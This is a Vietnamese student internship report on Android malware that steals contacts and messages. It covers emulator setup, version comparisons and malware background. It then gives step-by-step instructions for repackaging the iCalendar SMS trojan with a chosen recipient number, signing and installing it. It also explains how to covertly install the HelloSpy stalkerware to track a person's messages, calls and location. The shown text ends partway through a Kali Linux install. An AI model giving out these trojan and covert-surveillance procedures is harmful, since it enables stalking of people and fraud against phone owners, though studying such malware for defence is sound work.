Bao cao cuoi ki

55
TP.HCM, tháng 8/ 2014 GVHD: Thầy VÕ ĐỖ THNG SVTH: NGUYỄN ĐỨC THNG MSSV: 1120162 TRƯỜNG ĐẠI HC KHOA HC TNHIÊN TP.HCM KHOA ĐIỆN TVIN THÔNG NƠI THỰC TẬP: TRUNG TÂM ĐÀO TẠO QUẢNG TRỊ MẠNG VÀ AN NINH MẠNG QUỐC TẾ ATHENA BÁO CÁO ĐỀ TÀI THC TP Nghiên cứu các Trojan, Malware cho phép đánh cắp dliệu như danh sách contact, tin nhắn trên điên thoi sdng Android và gi ra ngoài

description

bao cao cuoi ki nguyen duc thang

Transcript of Bao cao cuoi ki

Page 1: Bao cao cuoi ki

TP.HCM, tháng 8/ 2014

GVHD: Thầy VÕ ĐỖ THẮNG

SVTH: NGUYỄN ĐỨC THẮNG

MSSV: 1120162

TRƯỜNG ĐẠI HỌC KHOA HỌC TỰ NHIÊN TP.HCM

KHOA ĐIỆN TỬ VIỄN THÔNG

NƠI THỰC TẬP:

TRUNG TÂM ĐÀO TẠO QUẢNG TRỊ

MẠNG VÀ AN NINH MẠNG QUỐC

TẾ ATHENA

BÁO CÁO ĐỀ TÀI THỰC TẬP

Nghiên cứu các Trojan, Malware cho phép đánh cắp

dữ liệu như danh sách contact, tin nhắn trên điên

thoại sử dụng Android và gửi ra ngoài

Page 2: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

1

LỜI CẢM ƠN

Em xin gởi lời cảm ơn chân thành và sự tri ân sâu sắc đối với Thầy và các anh

chị nhân viên trung tâm ATHENA đã tạo điều kiện cho em thực tập tốt. Và em cũng

xin chân thành cám ơn Thầy Võ Đỗ Thắng đã nhiệt tình hướng dẫn hướng dẫn em

hoàn thành tốt khóa thực tập.

Trong quá trình thực tập, Mặc dù em đã cố gắng hoàn thành báo cáo thực tập tốt

nghiệp này với tất cả nỗ lực của bản thân cũng như là trong quá trình làm bài báo cáo.

Nhưng do trình độ hiểu biết và kinh nghiệm thực tế có hạn nên chắc chắn không thể tránh

khỏi những thiếu sót nhất định nên khó tránh khỏi sai sót, rất mong các Thầy bỏ qua.

Em rất mong nhận được ý kiến đóng góp của Thầy để em học thêm được nhiều kinh

nghiệm .

Em xin chân thành cảm ơn !

Page 3: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

2

ĐÁNH GIÁ CỦA GVHD :

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

Page 4: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

3

MỤC LỤC

A. Nghiên cứu hệ điều hành Android trên môi trường giả lập. .................. 4

I. Cài đặt GENYMOTION trên máy tính. ........................................................... 4

1. Giới thiệu ....................................................................................................... 4

2. Hướng dẫn cài đặt ......................................................................................... 4

II. So sánh sự khác nhau giữa hai phiên bản Android 2.3 và 4.x. ............................ 7

1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt. ............................... 7

2. Sự khác nhau về giao diện. ............................................................................. 7

3. Sự khác nhau về tính năng. ............................................................................ 9

4. Sự khác nhau về giao thức mạng. ................................................................... 9

III. Nghiên cứu các chương trình được tích hợp mã độc trên Android ................. 10

1. Thực trạng ................................................................................................... 10

2. Nghiên cứu lỗ hổng bảo mật trên Android. ................................................... 11

3. Cài đặt chương trình tích hợp mã độc (Trojan) trên Android ........................ 13

IV. Nghiên cứu Kali Linux, các cơ chế tạo mã độc trên Kali Linux , từ đó xâm nhập

thẻ SD card, kích hoạt camera, ghi âm trên thiết bị, sau đó truyền dữ liệu về máy điều

khiển từ xa ........................................................................................................... 24

1. Tìm hiểu Kali Linux ...................................................................................... 24

2. Cài đặt Kali Linux trên máy ảo VMWare...................................................... 26

3. Tạo mã độc trên Kali Linux để xâm nhập Android ..................................... 34

B. Thực hiện trên môi trường internet .......................................... 46

I.Cài mã độc trên VPS: Cài đặt Metasploit lên VPS .......................................... 46

1. Giới Thiệu ................................................................................................... 46

2. Cài đặt .......................................................................................................... 46

II. Từ VPS điều khiển thiết bị ( điện thoai Android) qua internet ..................... 49

C. Một số câu lệnh sử dụng trong Metasploit ................................. 52

D. Video hướng dẫn .............................................................. 54

Page 5: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

4

A. Nghiên cứu hệ điều hành Android trên môi trường giả lập.

I. Cài đặt GENYMOTION trên máy tính.

1. Giới thiệu

Genymotion là một phần mềm giúp tạo các máy ảo Android trên PC và có sẵn

các phiên bản Android được cấu hình sẵn. Đây là máy ảo tuyệt vời dùng để thử

nghiệm các ứng dụng. Mặc dù máy ảo máy ảo Android của Genymotion không có số

điện thoại ảo như một số chương trình khác nhưng bù lại nó là một trong những phần

mềm chạy máy ảo Android trên PC nhanh nhất, chưa kể nó khá nhẹ nên có thể tải về

nhanh chóng là có thể chạy mượt trên những máy có cấu hình yếu do ít tốn RAM.

Genymotion thực chất sử dụng VirtualBox để tạo ra các máy ảo, tuy nhiên nó

sẽ giúp chúng ta đơn giản được nhiều bước thiết lập. Genymotion được viết nên chủ

yếu để các lập trình viên kiểm tra phần mềm của mình trước khi đưa Google Play,

nhưng chúng ta hoàn toàn có thể dùng nó cho nhu cầu chạy app thông thường cũng

được.

2. Hướng dẫn cài đặt

Đầu tiên, ta vào trang web http://www.genymotion.com/ và đăng kí một tài

khoản miễn phí. Sau đó truy cập email để kích hoạt tài khoản.

Kế tiếp là tải và cài đặt Genymotion từ trang web trên. Lưu ý là phải đăng nhập

vào trang web để tải . Nên tải phiên bản Genymotion kèm với VirtualBox (một máy

ảo tương tự như VMWare nhưng miễn phí và nguồn mở).

Sau khi tải về, cài đặt như bình thường nhưng chú ý nhớ đường dẫn thư mục

cài.

Page 6: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

5

Ta chạy chương trình, sẽ có hộp thoại xuất hiện và hiển thị danh sách máy ảo

hiện có đã được cài đặt. Nhấn nút New để tạo mới hoặc khi có thông báo thêm máy

ảo mới như hình sau, bạn chọn Yes để thêm máy ảo.

Ta đăng nhập bằng tài khoản đăng kí trên website Genymotion.

Page 7: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

6

Khi đó hộp thoại sẽ hiển thị danh sách máy ảo cấu hình sẵn (dành cho

smartphone hoặc tablet). Chọn máy ảo thích hợp cần sử dụng và nhấn Add, nhấn

Next để tải máy ảo.

Trong hộp thoại Genymotion chọn máy ảo và nhấn nút Play hoặc trong cửa

sổ Genymotion Virtual Devices Manager, chọn máy ảo và nhấn nút Start. Vậy là ta

đã cài đặt thành công Genymotion.

Page 8: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

7

II. So sánh sự khác nhau giữa hai phiên bản Android 2.3 và 4.x.

1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt.

Android 2.3 Android 4x

Cần ít nhất 128 MB bộ nhớ có sẵn cho

Kernel và cho không gian người sử dụng

Cần ít nhất 340 MB bộ nhớ có sẵn cho

kernel và cho không gian người sử dụng

Dung lượng Ram tối thiểu cần thiết là

150MB

Dung lượng Ram tối thiểu cần thiết là

350 MB

Màn hình:

- Màn hình phải có kích cỡ ít nhất

2,5 inch

- Mật độ phải được ít nhất 100 dpi

- Tỉ lệ màn hình từ 1.333 (4:3) đến

1,779 (16:9)

- Công nghệ màn hình được sử dụng

là công nghệ “ Square pixels”

Màn hình:

- Màn hình phải có kích cỡ ít nhất

426x320

- Mật độ phải được ít nhất 100 dpi

- Tỉ lệ màn hình từ 1.333 (4:3) đến

1,85 (16:9)

Yêu cầu có các phím vậy lý Không yêu cầu có có phím vật lý

Các API Android bao gồm trình

quản lý download các ứng dụng có thể

sử dụng để tải dữ liệu.Trình quản lí

download phải có khả năng tải tập tin có

dung lượng ít nhất 55 MB

Các API Android bao gồm trình

quản lý download các ứng dụng có thể

sử dụng để tải dữ liệu.Trình quản lí

download phải có khả năng tải tập tin có

dung lượng ít nhất 100 MB

2. Sự khác nhau về giao diện.

Giao diện người dùng của Android dựa trên nguyên tắc tác động trực tiếp, sử

dụng cảm ứng chạm tương tự như những động tác ngoài đời thực như vuốt, chạm,

kéo dãn và thu lại để xử lý các đối tượng trên màn hình. Sự phản ứng với tác động

của người dùng diễn ra gần như ngay lập tức, nhằm tạo ra giao diện cảm ứng mượt

Page 9: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

8

mà, thường dùng tính năng rung của thiết bị để tạo phản hồi rung cho người dùng.

Những thiết bị phần cứng bên trong như gia tốc kế, con quay hồi chuyển và cảm

biến khoảng cách được một số ứng dụng sử dụng để phản hồi một số hành động khác

của người dùng, ví dụ như điều chỉnh màn hình từ chế độ hiển thị dọc sang chế độ hiển

thị ngang tùy theo vị trí của thiết bị, hoặc cho phép người dùng lái xe đua bằng xoay

thiết bị, giống như Các thiết bị Android sau khi khởi động sẽ hiển thị màn hình

chính, điểm khởi đầu với các thông tin chính trên thiết bị, tương tự như

khái niệm desktop (bàn làm việc) trên máy tính để bàn. Màn hính chính Android

thường gồm nhiều biểu tượng (icon) và tiện ích (widget); biểu tượng ứng dụng sẽ mở

ứng dụng tương ứng, còn tiện ích hiển thị những nội dung sống động, cập nhật tự

động như dự báo thời tiết, hộp thư của người dùng, hoặc những mẩu tin thời sự ngay

trên màn hình chính. Màn hình chính có thể gồm nhiều trang xem được bằng cách

vuốt ra trước hoặc sau, mặc dù giao diện màn hình chính của Android có thể tùy chỉnh

ở mức cao, cho phép người dùng tự do sắp đặt hình dáng cũng như hành vi của thiết bị

theo sở thích. Những ứng dụng do các hãng thứ ba có trên Google Play và các kho

ứng dụng khác còn cho phép người dùng thay đổi "chủ đề" của màn hình chính,

thậm chí bắt chước hình dáng của hệ điều hành khác như Windows Phone chẳng hạn.

Phần lớn những nhà sản xuất, và một số nhà mạng, thực hiện thay đổi hình dáng và

hành vi của các thiết bị Android của họ để phân biệt với các hãng cạnh tranh. Ở phía

trên cùng màn hình là thanh trạng thái, hiển thị thông tin về thiết bị và tình trạng kết

nối. Thanh trạng thái này có thể "kéo" xuống để xem màn hình thông báo gồm thông

tin quan trọng hoặc cập nhật của các ứng dụng, như email hay tin nhắn SMS mới nhận,

mà không làm gián đoạn hoặc khiến người dùng cảm thấy bất tiện. Trong các phiên

bản đời đầu, người dùng có thể nhấn vào thông báo để mở ra ứng dụng tương ứng, về

sau này các thông tin cập nhật được bổ sung theo tính năng, như có khả năng lập tức

gọi ngược lại khi có cuộc gọi nhỡ mà không cần phải mở ứng dụng gọi điện ra.

Thông báo sẽ luôn nằm đó cho đến khi người dùng đã đọc hoặc xóa nó đi.

Page 10: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

9

Android 2.3 Android 4x

Giao diện đơn giản Giao diện tinh tế hơn, trong suốt và đẹp mắt

hơn

Chỉ hỗ trợ phím ảo là phím

Home

Hỗ trợ các phím ảo: Home, Back, Zoom

Không có widget menu Có Widget menu giúp tìm nhanh thông tin

mà không cần mở ứng dụng

3. Sự khác nhau về tính năng.

Android 2.3 Android 4x

Thiết kế tối ưu hóa cho Smartphone Thiết kế tối ưu hóa cho Smartphone và

Tablet

Chỉ có thể xóa tất các các thông báo

cùng lúc trên trình quản lý

Chỉ có thể xóa riêng rẽ các thông báo cùng

lúc trên trình quản lý

Chỉ có thể trả lời, ngắt cuộc gọi khi màn

hình bị khóa

Có thể thực hiện thêm 1 số tính năng khi

màn hình bị khoái ngoài trả lời , ngắt cuộc

gọi như gửi tin nhắn

Không có tính năng mở khóa màn hình

nhận diện khuôn mặt

Có tính năng mở khóa màn hình nhận diện

khuôn mặt

Không hỗ trợ chỉnh sửa hình ảnh Hỗ trợ chỉnh sửa hình ảnh , tự động nhận

diện được tất cả các camera trên thiết bị

4. Sự khác nhau về giao thức mạng.

Android 2.3 Android 4x

Không hỗ trợ giao thức https Hỗ trợ giao thức https

Page 11: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

10

III. Nghiên cứu các chương trình được tích hợp mã độc trên Android

1. Thực trạng

Một báo cáo mới vừa được công bố, cho thấy mức độ nghiêm trọng của mã

độc trên Android - hệ điều hành di động phổ biến nhất thế giới có đến 99,9% số

lượng mã độc mới được phát hiện trong quý I năm 2013 được thiết kế để nhắm đến

nền tảng Android. Đây là một con số báo động về tình trạng mã độc trên nền tảng di

động của Google vừa được hãng bảo mật Kaspersky Lab công bố.

Phần lớn trong số các loại mã độc trên Android là virus trojan, một dạng virus

chủ yếu để sử dụng để đánh cắp tiền của người dùng bị lây nhiễm bằng cách gửi đến

họ những tin nhắn lừa đảo, đọc lén các thông tin cần thiết và gửi báo cáo đến nơi

khác, ăn cắp thông tin như là mật khẩu và số thẻ tín dụng, cài đặt lén các phần mềm

chưa được cho phép, ….. Loại mã độc này chiếm đến 63% tổng số các loại mã độc

mới được phát tán trên Android trong quý I năm 2013.

Các nhà nghiên cứu bảo mật của Kaspersky cũng báo cáo một sự bùng nồ về số

lượng các mã độc hại trên di động. Theo đó chỉ tính riêng trong 3 tháng đầu năm

2013, Kaspersky đã phát hiện được số lượng mã độc mới trên các nền tảng di động

bằng tổng số lượng mã độc được phát hiện trong cả năm 2012 mà Android là nền

tảng chịu ảnh hưởng nặng nhất.

Với việc Android tiếp tục trở thành “mồi ngon” của hacker trong việc phát tán

các loại mã độc, có vẻ như Android đang dần trở thành một “Windows thứ 2” trên

lĩnh vực bảo mật, khi sự phổ biến của nền tảng này đang thu hút tối đa sự chú ý của

các tin tặc, đồng thời việc quản lý các ứng dụng cho Android một cách lỏng lẻo càng

tạo điều kiện cho mã độc được phát tán dễ dàng hơn trên nền tảng di động này.

Bên cạnh lĩnh vực mã độc trên nền tảng di động, báo cáo về tình trạng bảo mật

trong quý I/2013 của Kaspersky cũng cho biết 91% các vụ phát tán mã độc chủ yếu

dựa vào việc phát tán các đường link trang web có chứa mã độc. Các đường link có

Page 12: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

11

chứa mã độc này chủ yếu được phát tán thông qua email và trên các mạng xã hội như

Facebook, Twitter… Đây được xem là biện pháp được yêu thích nhất hiện nay của

hacker.

2. Nghiên cứu lỗ hổng bảo mật trên Android.

a. Malware trên Android.

Malware (phần mềm ác tính) viết tắt của cụm từ Malicious Sofware, là một

phần mềm máy tính được thiết kế với mục đích thâm nhập hoặc gây hỏng hóc máy

tính mà người sử dụng không hề hay biết.

Theo thống kê của các hãng bảo mật trên thế giới thì hiện các Malware hiện

nay mới chỉ dừng lại ở mức độ xâm nhập và ăn cắp thông tin của người dùng và nó

chưa có cơ chế lây lan. Theo các kết quả trên thì Malware trên Smartphone hiện nay

về cách thức hoạt động giống như một phần mềm gián điệp (Trojan) hơn là một virus

phá hủy.

b. Cơ chế hoạt động của Malware.

Lấy một ví dụ cụ thể về 1 Malware rất phổ biến trong thời gian vừa qua đó là

Malware DroidDream. Malware này hoạt động qua 2 giai đoạn:

- Giai đoạn đầu: DroidDream được nhúng vào trong một ứng dụng (số lượng

ứng dụng chứa Malware này hiện đã nhiều hơn 50 ứng dụng) và sẽ chiếm được

quyền root vào thiết bị của bạn ngay sau khi bạn chạy ứng dụng đó trong lần sử dụng

đầu tiên.

- Giai đoạn 2 : Tự động cài đặt một ứng dụng thứ 2 với một permission đặc

biệt cho phép quyền uninstall. Một khi các ứng dụng thứ 2 được cài đặt, nó có thể gửi

các thông tin nhạy cảm tới một máy chủ từ xa và âm thầm tải thêm các ứng dụng

khác Một khi DroidDream chiếm được quyền root, Malware này sẽ chờ đợi và âm

thầm cài đặt một ứng dụng thứ hai, DownloadProviderManager.apk như một ứng

Page 13: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

12

dụng hệ thống. Việc cài đặt ứng dụng hệ thống này nhằm ngăn ngừa người dùng xem

hoặc gỡ bỏ cài đặt các ứng dụng mà không được phép.

Không giống như giai đoạn đầu, người dùng phải khởi động ứng dụng để bắt

đầu việc lây nhiễm, ở giai đoạn thứ 2 ứng dụng tự động làm một số việc như là

confirm, checkin….Một điều nữa khiến cho bạn không thể biết chúng hoạt động lúc

nào, đó là Malware DroidDream này được lập trình để làm hầu hết các công việc của

mình vào khoảng thời gian từ 11h đêm tới 8h sáng ngày hôm sau. Đây là khoảng thời

gian mà điện thoại ít có khả năng được sử dụng nhất. Điều này làm cho người dùng

khó khăn hơn trong việc phát hiện một hành vi bất thường trên chiếc smartphone của

mình.

c. Mục đích của Malware DroidDream

DroidDream được coi là một trong những Malware đầu tiên trên Android, mục

đích của con DroidDream này mới chỉ dừng lại ở mức độ làm cho chiếc điện thoại

của người dùng tự động cài đặt những ứng dụng chứa mã độc khác. Tuy nhiên các

biến thể của nó đã kịp thời biến đổi để gây ra các mối nguy hại lớn hơn rất nhiều. Ví

dụ như Hippo SMS được tìm thấy mới đây có khả năng tự gửi tin nhắn mà không

cần sự cho phép của người dùng, việc này sẽ khiến tiền cước phí của người dùng tăng

lên một cách chóng mặt mà người dùng không biết rõ lí do tại sao. Hoặc một

Malware khác là Zitmo, Malware này đưa ra các ứng dụng kích hoạt mọi hành động

liên quan đến dịch vụ ngân hàng, tiếp nhận SMS gửi đến và chuyển tới máy chủ. Các

đoạn code dùng 1 lần mà các ngân hàng thường gửi tới khách hàng thông qua tin

nhắn SMS để chứng thực sẽ bị thu thập bởi các malware này.

Hiện nay còn có một số Malware còn có khả năng nghe lén tất cả các cuộc điện

thoại. Vấn đề này thực sự nguy hiểm khi tất cả các vấn đề riêng tư của chúng ta đang

bị một theo dõi, vì vậy những mối nguy hiểm từ mã độc trên android đang thực sự đe

dọa đến an sự an toàn của người dùng hệ điều hành này.

Page 14: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

13

3. Cài đặt chương trình tích hợp mã độc (Trojan) trên Android

a. Cài đặt iCalendar

a.1. Giới thiệu

iCalendar là một phần mềm được tích hợp mã độc có xuất xứ từ Trung Quốc,

người dùng cài đặt chương trình sau khi chạy chương trình sẽ tự động gửi tin nhắn mà

không hề mong muốn. Bằng cách này, điện thoại của nạn nhân sẽ bị trừ tiền mà không

rõ nguyên do.

a.2. Cài đặt

a.2.1. Java JDK

Java là một công nghệ xây dựng các ứng dụng phần mềm. Nó được coi là công

nghệ mang tính cách mạng và khả thi nhất trong việc tạo ra các ứng dụng có khả năng

chạy thống nhất trên nhiều nền tảng mà chỉ cần biên dịch một lần.

Java còn là một nền tảng phát triển và triển khai ứng dụng trong đó máy ảo Java, bộ

thông dịch có vai trò trung tâm.

Chúng ta có thể tải Java JDK về tại:

http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-

2133151.html

Tại đây, ta chỉ việc ấn vào Accept LicenseAgreement rồi chọn phiên bản để tải

về.

Page 15: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

14

a.2.2. Android SDK

Android SDK là một máy ảo của Android trên PC. Android SDK giúp hỗ trợ

lập trình các ứng dụng của Android trên PC, hỗ trợ bạn những chức năng không khác

gì một chiếc máy thật.

Ta có thể tải Android SDK tại: http://developer.android.com/sdk/index.html

Page 16: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

15

Đầu tiên, ta sẽ giải nén thư mục vừa tải về. Sau đó vào eclipse.exe trong thư

mục eclipse.

Page 17: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

16

Kế tiếp ta vào Windows -> Android SDK Manager và chọn phiên bản Android

muốn tải về, sau đó ta ấn Install -> Accept License -> Install.

Sau khi tải xong, ta vào Windows -> Android Virtual Device Manager và tạo

một smartphone hệ điều hành Android theo ý thích.

Page 18: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

17

Sau đó ta ấn Start và một smartphone ảo với hệ điều hành Adroid đã lựa chọn

sẽ hiện ra.

a.2.3 Apktool

Apktool là công cụ dùng để giải mã các file apk và jar, phục vụ cho việc tùy

chỉnh, sửa đổi các file đó.

Ta có thể tải về tại: https://code.google.com/p/android-apktool/

a.3. Hướng dẫn cài đặt Trojan iCalendar trên Android SDK

Trước tiên, ta copy file iCalendar.apk vào thư mục apktool và mở CMD rồi di

chuyển vào thư mục apktool. Kế tiếp ta giải mã iCalendar bằng lệnh :

Apktool if iCalendar.apk

Apktool d iCalendar.apk

Page 19: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

18

Vậy là ta đã tạo được thư mục giải mã iCalendar ta vào thư mục đó rồi vào

smali ->com -> mj -> iCalendar.

Tại đây, ta mở file iCalendar.smali rồi sử số trong dấu ngoặc kép của line 252

thành số điện thoại sẽ nhận tin nhắn và nội dung tin nhắn sẽ gửi tại local v1 ngay dưới

đó.

Page 20: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

19

Ta làm tương tự với smsReceive.smali tại line 41.

Bây giờ ta sẽ biên soạn lại iCalendar bằng lệnh:

Apktool b iCalendar

Vậy là trong thư mục dist của iCalendar đã có một file iCalendar.apk dã được

biên soạn lại.

Kế tiếp ta sẽ copy file vừa tạo vào thư mục cài đặt Java JDK để signing cho nó.

Sauk hi di chuyển vào thư mục Java JDK, ta dùng lệnh:

Keytool –genkey –v –keystore iCalendar.keystore –alias iCalendar –keyalg

RSA –keysize 2048 –validity 10000

Page 21: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

20

Sau đó ta sẽ nhập password và điền một số thông tin tùy ý:

Sau đó ta dùng lệnh:

Jarsigner –verbose –keystore iCalendar.keystore iCalendar.apk iCalendar

Jarsigner –verify –verbose –certs iCalendar.apk

Page 22: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

21

Bây giờ ta copy file iCalendar.apk trong Java JDK vào thư mục sdk của

Android SDK và tiến hành cài chương trình vào máy ảo ( máy ảo phải mở sẵn) :

Adb –s emulator-5558 install iCalendar.apk

Với 5558 là số điện thoại của máy cài và iCalendar.apk là tên chương trình.

Vậy là bây giờ trong máy ảo đã có chương trình iCalendar.

Page 23: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

22

Chỉ cần mở iCalendar lên vài ấn vài lần là đã có một tin nhắn được gửi đi mà

không mong muốn.

b. Cài đặt HelloSpy

b.1. Giới thiệu

HelloSpy là một trong những phần mềm theo dõi tố nhất hiện nay. Nó chạy ổn

định, ít tốn pin,có chương trình cho cả Android và iOS và khá rẻ so với các ứng dụng

khác. Người bị cài phần mềm này rất khó để nhận biết mình bị theo dõi vì phần mềm

không hiển thị mà chạy ngầm trong máy.

HelloSpy có nhiều tính năng theo dõi như:

o Theo dõi vị trí thiết bị

o Lịch sử vị trí trong vòng 24 giờ

o Theo dõi tin nhắn

o Theo dõi danh bạ

o Theo dõi nhật kí cuộc gọi

o Lịch sử URL, lịch sử hình ảnh, lịch sử ứng dụng…

Page 24: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

23

b.2. Hướng dẫn cài đặt HelloSpy

Đầu tiên, ta vào trang chủ của HelloSpy để đăng kí tài khoản: hellospy.com

Sau đó, ta vào trang: http://hellospy.com/androidos.aspx?lang=en-US để tải về

phiên bản phù hợp với điện thoại. Tại đậ có cả hướng dẫn cài đặt trên điện thoại.

Trước khi cài chương trình, ta phải vào Security và chọn Unknown sources và

Verify apps để có thể cài chương trình.

Bây giờ ta sẽ vào thư mục

Page 25: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

24

download để cài chương trình đã tải. Sau khi cài xong, ta gọi đến số #8888*, đây thực

chất là cách để vào chương trình ẩn HelloSpy.

Tại đây, ta đăng nhập với tài khoản đã đăng kí, sau đó khởi động lại máy. Từ

bây giờ chỉ cần điện thoại được kết nối mạng là ta có thể biết được người dùng đã

nhắn tin, gọi điện hay thậm chí biết cả vị trí của họ mà chỉ cần vào đăng nhập vào tài

khoản đã nhập trong điện thoại của họ trên trang chủ của HelloSpy.

IV. Nghiên cứu Kali Linux, các cơ chế tạo mã độc trên Kali Linux , từ

đó xâm nhập thẻ SD card, kích hoạt camera, ghi âm trên thiết bị, sau đó

truyền dữ liệu về máy điều khiển từ xa

1. Tìm hiểu Kali Linux

Kali Linux là một hệ điều hành được xây dựng trên nhân Linux, được thiết kế

để kiểm tra bảo mật, thử nghiệm xâm nhập các hệ thống máy tính. Tiền thân của Kali

Linux là BackTrack, xuất hiện năm 2006 và được các chuyên gia đánh giá bảo mật ưa

chuộng sử dụng. Sau 7 năm liên tục phát triển, tháng 3 năm 2013, hãng Offensive

Security đã công bố phiên bản mới của BackTrack có tên là Kali Linux (được xem

như phiên bản BackTrack 6). Kali Linux tập hợp và phân loại gần như tất cả các công

Page 26: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

25

cụ thiết yếu mà bất kì chuyên gia đánh giá bảo mật nào cũng cần sử dụng khi tác

nghiệp.

Nói về ưu điểm của Kali là nói về những thay đổi giữa BackTrack và Kali. So

với BackTrack, Kali có rất nhiều cải tiến:

- Kali phát triển trên nền tảng hệ điều hành Debian:

Điều này có nghĩa Kali có rất nhiều ưu điểm. Đầu tiên là các Repository (Kho

lưu trữ phần mềm) được đồng bộ hóa với các Repository của Debian nên có thể dễ

dàng có được các bản cập nhật vá lỗi bảo mật mới nhất và các cập nhật Repository.

Duy trì cập nhật (up-to-date) đối với các công cụ Penetration Test là một yêu cầu vô

cùng quan trọng.

Một lợi thế khác là mọi công cụ trong Kali đều tuân theo chính sách quản lý

gói của Debian. Điều này có vẻ không quan trọng nhưng nó đảm bảo rõ ràng về mặt

cấu trúc hệ thống tổng thể, nó cũng giúp cho chúng ta có thể dễ dàng hơn trong việc

xem xét hoặc thay đổi mã nguồn của các công cụ.

- Tính tương thích kiến trúc:

Một ưu điểm quan trọng trong Kali là nó đã cải tiến khả năng tương thích với

kiến trúc ARM. Từ khi Kali xuất hiện, nhiều phiên bản ấn tượng đã được tạo ra. Giờ

đây ta có thể build Kali trên một Raspberry Pi hoặc trên Samsung Galaxy Note.

- Hỗ trợ mạng không dây tốt hơn:

Một trong những vấn đề được các nhà phát triển Kali chú trọng nhiều nhất,

chính là sự hỗ trợ cho một số lượng lớn phần cứng bên trong các thiết bị mạng không

dây hay USB Dongles. Một yêu cầu quan trọng khi các chuyên gia bảo mật thực hiện

đánh giá mạng không dây.

- Khả năng tùy biến cao:

Kali rất linh hoạt khi đề cập đến giao diện hoặc khả năng tuỳ biến hệ thống.

Đối với giao diện, giờ đây người dùng đã có thể chọn cho mình nhiều loại Desktops

như GNOME, KDE hoặc XFCE tùy theo sở thích và thói quen sử dụng.

Page 27: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

26

- Dễ dàng nâng cấp giữa các phiên bản Kali trong tương lai:

Đối với bất cứ ai sử dụng Kali, đây là một tính năng quan trọng khi bảo trì hệ

điều hành Kali. Với BackTrack, bất kỳ lúc nào khi phiên bản mới được công bố thì

chúng ta đều phải cài lại mới hoàn toàn (Ngoại trừ phiên bản R2 lên R3 năm ngoái).

Giờ đây với Kali, nhờ vào sự chuyển đổi sang nền tảng hệ điều hành Debian,

Kali đã dễ dàng hơn trong việc âng cấp hệ thống khi phiên bản mới xuất hiện, người

dùng không phải cài lại mới hoàn toàn nữa

2. Cài đặt Kali Linux trên máy ảo VMWare

Trước tiên cần tải về file ISO phiên bản mới nhất của Kali Linux trên link dưới,

bài này ta sẽ tiến hành cài phiên bản Kali Linux 1.0.6 64 bit.

http://www.kali.org/downloads/

Tất nhiên ta cần phải có Vmware, việc tải và cài đặt Vmware rất dễ dàng, ta có

thể tìm trên mạng. Sau khi có file ISO ta bắt đầu tiến hành cài đặt lên máy ảo.

Page 28: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

27

Mở VMware, chọn File ở góc phải trên màn hình, chọn New Virtual

Machine... . Trên cửa sổ mới mở, chọn custom và nhấn next.

Tiếp tục nhấn next đến khi yêu cầu chọn file ISO thì ta chọn ISO của kali đã tải trước

đó:

Page 29: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

28

Đặt tên và đặt đường dẫn cho máy ảo:

Page 30: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

29

Tiếp tục chọn cấu hình cho máy ảo, ta có thể để mặc định.

Máy ảo sẽ khởi động và vào giao diện cài đặt, chọn Graphic Install

Bấm chọn ngôn ngữ, địa điểm, Host name như khi cài đặt hệ điều hành bình

thường...

Tiếp theo chọn Root password.

Page 31: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

30

Phần Partition chọn Guided – use entire disk và All files in one partition

Page 32: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

31

Chọn Finish partitioning and write changes to disk

Chọn Yes

Page 33: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

32

Nhấn continue để bắt đầu cài đặt khoảng 15 phút.

Page 34: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

33

Sau khi cài đặt xong, chọn No ở Network mirror, chọn Yes ở phần Boot-

loader.

Page 35: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

34

